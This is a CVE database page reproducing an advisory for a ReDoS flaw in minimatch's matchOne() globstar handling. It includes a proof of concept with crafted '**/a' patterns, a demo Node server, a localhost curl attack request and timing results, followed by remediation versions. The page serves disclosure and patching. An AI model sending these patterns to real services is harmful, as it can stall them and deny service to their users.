Loading...
Skip to main content

CVE-2026-27903 — Vulnerability in minimatch — CVE Details

HIGH

minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Published February 26, 2026Updated September 10, 2026Source: osv

Summary

### Summary `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. --- ### Details The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960): ```typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } ``` When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input. Measured timing with n=30 path segments: | k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s | --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- inline script** ```javascript import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms ``` To scale the effect, increase k: ```javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) ``` No special options are required. This reproduces with the default `minimatch()` call. **Step 2 -- HTTP server (event loop starvation proof)** The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: ```javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) ``` Terminal 1 -- start the server: ``` node poc1-server.mjs ``` Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: ``` curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & ``` Terminal 3 -- while the attack is in-flight, send a benign request: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" ``` **Observed output (Terminal 3):** ``` {"result":true,"ms":"0"} time_total: 4.132709s ``` The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: ``` {"result":true,"ms":"0"} time_total: 0.001599s ``` --- ### Impact Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Advisory Timeline

  • First published February 26, 2026 (228 days ago).
  • Last revised September 10, 2026 — 195 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update minimatch to 8.0.6 or later
npm install minimatch@8.0.6
npm
Update minimatch to 3.1.3 or later
npm install minimatch@3.1.3
npm
Update minimatch to 6.2.2 or later
npm install minimatch@6.2.2
npm
Update minimatch to 5.1.8 or later
npm install minimatch@5.1.8
npm
Update minimatch to 7.4.8 or later
npm install minimatch@7.4.8
npm
Update minimatch to 9.0.7 or later
npm install minimatch@9.0.7
npm
Update minimatch to 10.2.3 or later
npm install minimatch@10.2.3
npm
Update minimatch to 4.2.5 or later
npm install minimatch@4.2.5

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (8)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
minimatch
npm
All versions8.0.6
minimatch
npm
All versions3.1.3
minimatch
npm
All versions6.2.2
minimatch
npm
All versions5.1.8
minimatch
npm
All versions7.4.8
minimatch
npm
All versions9.0.7
minimatch
npm
All versions10.2.3
minimatch
npm
All versions4.2.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2026-27903?
minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-27903?
CVE-2026-27903 affects minimatch. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-27903 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-7r86-cg39-jmmj

Related CVEs

  • CVE-2026-27904
    HIGH

    minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

  • CVE-2026-26996
    HIGH

    minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

  • CVE-2026-107375
    HIGH

    JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

  • CVE-2026-107384
    HIGH

    MariaDB Connector/Node.js: SQL injection through object keys in SET expansion (permitSetMultiParamEntries)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies